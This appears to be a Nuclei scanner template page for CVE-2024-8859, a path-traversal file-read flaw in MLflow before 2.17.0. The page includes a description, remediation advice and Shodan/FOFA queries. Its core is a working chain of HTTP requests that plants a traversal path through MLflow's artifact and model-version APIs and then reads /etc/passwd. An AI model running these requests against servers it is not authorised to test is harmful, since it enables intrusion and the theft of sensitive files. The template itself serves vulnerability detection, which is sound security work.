Mlflow < 2.17.0 - Local File Inclusion

ID: CVE-2024-8859

Severity: critical

Author: gy741

Tags: cve2024,cve,mlflow,oss,lfi,huntr,intrusive,lfprojects

Description

Mlflow before 2.17.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2024-8859

info:
  name: Mlflow < 2.17.0 - Local File Inclusion
  author: gy741
  severity: critical
  description: |
    Mlflow before 2.17.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade Mlflow to version 2.17.0 or later to mitigate the vulnerability.
  reference:
    - https://huntr.com/bounties/2259b88b-a0c6-4c7c-b434-6aacf6056dcb
    - https://github.com/mlflow/mlflow/pull/13161
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8859
  metadata:
    max-request: 7
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - title="mlflow"
      - app="mlflow"
  tags: cve2024,cve,mlflow,oss,lfi,huntr,intrusive,lfprojects

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "artifact_location": "dbfs:/"}

      - |
        POST /api/2.0/mlflow/runs/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/upload-artifact?run_uuid={{RUN_ID}}&path=a?/a HTTP/1.1
        Host: {{Hostname}}

        whatever

      - |
        POST /ajax-api/2.0/mlflow/experiments/delete HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "source": "dbfs:/{{RUN_ID}}/artifacts/a%3f/../../../../../../../../../../../../"}

      - |
        GET /model-versions/get-artifact?name={{randstr}}&version=1&path=etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body_1
        name: EXPERIMENT_ID
        group: 1
        json:
          - '.experiment_id'
        internal: true

      - type: json
        part: body_2
        name: RUN_ID
        group: 1
        json:
          - '.run.info.run_id'
        internal: true
# digest: 4a0a00473045022100c9b38a094a26c385c163ac0582ea3276abe7320dd48bcc916bdcf22d137a31fc0220278e2485ef2971367fabcfd98de6ea1ceb58dbeb28831d2f04c81387dee925b2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-8859.yaml"

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